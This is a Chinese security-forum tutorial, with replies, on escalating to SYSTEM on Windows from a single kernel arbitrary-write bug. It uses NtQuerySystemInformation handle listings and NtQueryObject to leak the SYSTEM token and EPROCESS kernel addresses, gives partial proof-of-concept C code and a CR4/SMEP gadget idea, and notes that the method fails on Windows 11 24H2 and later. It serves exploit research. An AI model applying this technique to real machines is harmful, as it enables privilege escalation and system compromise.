首页
社区
课程
招聘
[原创] 只有一次任意写,高版本win内核提权
发表于: 2026-5-20 20:47 3334

[原创] 只有一次任意写,高版本win内核提权

2026-5-20 20:47
3334

上一次我们讲到HEVD的第三题,驱动有任意写的机会,如果有SMEP的话,我们就没办法在内核很方便地劫持执行流程了。
现代 Windows 防线:SMEP 防 shellcode,kCFG 防劫持代码指针,VBS 锁 CR4。
你只有一个任意写漏洞,没有信息泄露,连 ntoskrnl 基址都不知道(KASLR 生效)。
传统思路:先绕过KASLR,再解析PspCidTable。要求:多次任意读+一次任意写

本文的方法适用版本:WIN11 24H2以前

HalDispatchTable写入Gatget?

这是我第一个想到的思路,既然有SMEP,那我们想办法关掉不就行了。
我在WIN10 1909找到如下Gadget:

0x000000014017ae47 : mov cr4, rcx ; ret

写完发现,糟了,HalQuerySystemInformation不是x64 fastcall,我们可以控制的参数是在栈上的,该方法已经失败了。
另外,基于VBD和HCVI保护,我们也无法执行修改cr4的值
不过,可以尝试写入其他内核函数地址。实现在用户态执行内核函数。或者,如果能控制栈上的数据并泄露栈地址的话,可以使用ROP尝试关掉SMEP。这里笔者没有试过。作为一个思路分享,可以试试

SystemHandleInformation

偶然间看到一篇帖子,使用NtQuerySystemInformation可以直接获得整个系统句柄表的所有句柄,在WRK中查看源码可以看到。

NtQuerySystemInformation -> ObGetHandleInformation -> ExSnapShotHandleTables

ExSnapShotHandleTables中,使用HandleTableListHead遍历系统中每一张句柄表。(经过逆向,现代该函数执行流程与WRK实现方式相同):

for (NextEntry = HandleTableListHead.Flink;
    NextEntry != &HandleTableListHead;
    NextEntry = NextEntry->Flink) {

    HandleTable = CONTAINING_RECORD(NextEntry,
        HANDLE_TABLE,
        HandleTableList);

    for (Handle.Value = 0;
        (HandleTableEntry = ExpLookupHandleTableEntry(HandleTable, Handle)) != NULL;
        Handle.Value += HANDLE_VALUE_INC) {

        if (ExpIsValidObjectEntry(HandleTableEntry)) {
            HandleInformation->NumberOfHandles += 1;
            if (ExpLockHandleTableEntry(HandleTable, HandleTableEntry)) {

                Status = (*SnapShotHandleEntry)(&HandleEntryInfo,
                    HandleTable->UniqueProcessId,
                    HandleTableEntry,
                    Handle.GenericHandleOverlay,
                    Length,
                    RequiredLength);

                ExUnlockHandleTableEntry(HandleTable, HandleTableEntry);
            }
        }
    }
}

于是就有Poc(关键代码):

for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++)
{
    PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[i];

    if (!systemToken && handleInfo->UniqueProcessId == (USHORT)4 && handleInfo->ObjectTypeIndex == tokenTypeIndex) {
        if (!firstFound) {
            firstFound = TRUE;
            continue;
        }
        else {
            systemToken = handleInfo->Object;
        }
    }

    if (handleInfo->UniqueProcessId == GetCurrentProcessId() && 
        handleInfo->HandleValue == hProcess && 
        handleInfo->ObjectTypeIndex == processTypeIndex) 
    {
        processObj = handleInfo->Object;
    }
}
//输出:processObj->FFFF990ED18A1080 systemToken->FFFF838CAC25E610

观察发现,NtQuerySystemInformation函数返回了system进程(PID=4)的几乎所有句柄,还返回了他们的TypeIndex和内核对象体地址,通过在Windbg中查看,这个TypeIndex甚至是解密后的值!

NtQueryObject

TypeIndex不是固定的,不同系统不一样,怎么办呢?
NtQueryObjectObjectTypesInformation的枚举值,可以返回系统中所有对象的数量,TypeIndex
关键代码(这里一定要注意OBJECT_TYPE_INFORMATION的对象存放方式):

POBJECT_TYPES_INFORMATION typeInfo = (POBJECT_TYPES_INFORMATION)VirtualAlloc(NULL, SystemHandleInformationSize, MEM_COMMIT, PAGE_READWRITE);
POBJECT_TYPE_INFORMATION tInfo = (POBJECT_TYPE_INFORMATION)&typeInfo->TypeInformation[0];;
NtQueryObject(NULL, 3, typeInfo, SystemHandleInformationSize, &returnLenght);
for (LONG i = 0; i < typeInfo->NumberOfTypes; i++) {
    if (!wcscmp(tInfo->TypeName.Buffer, L"Process")) {
        processTypeIndex = tInfo->TypeIndex;
    }
    if (!wcscmp(tInfo->TypeName.Buffer, L"Token")) {
        tokenTypeIndex = tInfo->TypeIndex;
    }
    tInfo = ALIGN_UP((size_t)tInfo + sizeof(OBJECT_TYPE_INFORMATION) + tInfo->TypeName.MaximumLength,ULONG_PTR);
}

Token

查找PID=4,TypeIndex=Token的对象,与windbg对比,发现system进程打开了很多Token,System EPROCESS对象的Token是第二个。
我们有了Token的真实值。

Our EPROCESS Address

自己打开自身进程,查找PID=CurrentProcessId,HandleVal=刚刚打开的句柄值,TypeIndex=Process的对象。
我们有了EPROCESS的真实值

尾声

有了目标进程 _EPROCESS 的地址,再加上 SYSTEM 令牌在内核内存中的真实值,我们就获得了一把最纯粹的钥匙——甚至不需要知道 ntoskrnl 到底加载在哪个随机基址,也完全不用费心去绕过 VBS。这套操作没有 ROP 链、没有栈迁移、也不碰任何控制寄存器,只是静悄悄地把一个地址写进一个偏移里,权限就换了主人。

说实话,这个思路本身并不复杂,甚至可以说简单得有点“不讲道理”。但我在看雪上翻了不少帖子,似乎还没看到有人把它系统性地梳理出来。正因如此,才斗胆写下这篇文章,就当抛砖引玉——无论是更优雅的 Token 定位方法,还是对未来版本防护的讨论,都欢迎大家一起来聊。

注:
感谢 @TurkeybraNC 大佬的提醒,在 Windows 11 24H2 及之后版本中,由于 NtQuerySystemInformation 内部增加了对调用者 SeDebugPrivilege 的检查,本文所述方法已失效。

文章中的代码放在附件(GITHUB:f10K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6m8e0K6l9K6x3g2)9J5c8V1S2q4g2V1c8Q4x3X3c8q4P5s2l9`.):


[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

最后于 2026-5-27 09:18 被AO031编辑 ,原因:
上传的附件:
收藏
免费 4
打赏
分享
最新回复 (3)
雪    币: 2907
活跃值: (2589)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
2
很好的内容,但这个在windows 11 24h2后需要管理员权限,因为NtQuerySystemInformation内部检查了调用者的SeDebugPrivilege,实践上堵住了提权,但也可以利用Cache Timing侧信道绕过 KALSR获得内核基地址
2026-5-26 19:52
1
雪    币: 480
活跃值: (835)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
3
TurkeybraNC 很好的内容,但这个在windows 11 24h2后需要管理员权限,因为NtQuerySystemInformation内部检查了调用者的SeDebugPrivilege,实践上堵住了提权,但也可以利 ...
谢谢佬,确实是我测试环境不够严谨导致的疏漏。
我在本机(Win11 25H2)、Win10 x64 1909 和 Win7 x86 SP1 上都跑过,因为本机 VS 默认给了管理员权限,其他版本都没出问题,就下意识以为高版本都通用。
您点出的这个问题很关键,我会在文章里修正并注明您的建议。再次感谢!
2026-5-27 09:12
0
雪    币: 2907
活跃值: (2589)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
4
AO031 谢谢佬,确实是我测试环境不够严谨导致的疏漏。 我在本机(Win11 25H2)、Win10 x64 1909 和 Win7 x86 SP1 上都跑过,因为本机 VS 默认给了管理员权限,其他版本都没 ...
太客气了,不用谢的
2026-5-27 12:45
0
游客
登录 | 注册 方可回帖
返回